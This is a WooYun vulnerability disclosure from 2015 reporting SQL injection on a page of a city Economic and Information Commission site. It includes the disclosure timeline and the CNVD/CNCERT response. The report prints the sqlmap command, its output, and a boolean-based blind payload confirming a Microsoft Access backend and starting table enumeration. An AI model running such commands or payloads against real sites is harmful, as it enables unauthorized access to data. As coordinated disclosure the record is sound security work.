当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137791

漏洞标题:某市经济和信息化委某页存在SQL注入

相关厂商:cncert国家互联网应急中心

漏洞作者: linkey

提交时间:2015-09-06 09:42

修复时间:2015-10-23 08:30

公开时间:2015-10-23 08:30

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-06: 细节已通知厂商并且等待厂商处理中
2015-09-08: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-18: 细节向核心白帽子及相关领域专家公开
2015-09-28: 细节向普通白帽子公开
2015-10-08: 细节向实习白帽子公开
2015-10-23: 细节向公众公开

简要描述:

RT

详细说明:

sqlmap如下:

python sqlmap.py -u "http://**.**.**.**/fwpt/scfl.asp?id=54" --table


得出:

[23:30:38] [INFO] testing connection to the target url
[23:30:41] [INFO] testing if the url is stable, wait a few seconds
[23:30:42] [INFO] url is stable
[23:30:42] [INFO] testing if GET parameter 'id' is dynamic
[23:30:42] [INFO] confirming that GET parameter 'id' is dynamic
[23:30:43] [INFO] GET parameter 'id' is dynamic
[23:30:43] [WARNING] reflective value(s) found and filtering out
[23:30:43] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: Microsoft Access)
[23:30:43] [INFO] testing for SQL injection on GET parameter 'id'
[23:30:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:30:45] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft Access. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[23:30:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:30:47] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[23:30:47] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[23:30:53] [INFO] target url appears to have 9 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[23:34:05] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. --dbms=mysql)
[23:34:05] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 51 HTTP(s) requests:


注射成功:

---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=54 AND 9519=9519
---
[23:35:17] [INFO] testing Microsoft Access
[23:35:18] [INFO] confirming Microsoft Access
[23:35:18] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[23:35:18] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[23:35:18] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'

漏洞证明:

PYDFTAPFZ16V~MD)OLPYPY3.jpg

修复方案:

工程师 比我懂

版权声明:转载请注明来源 linkey@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-09-08 08:28

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置。

最新状态:

暂无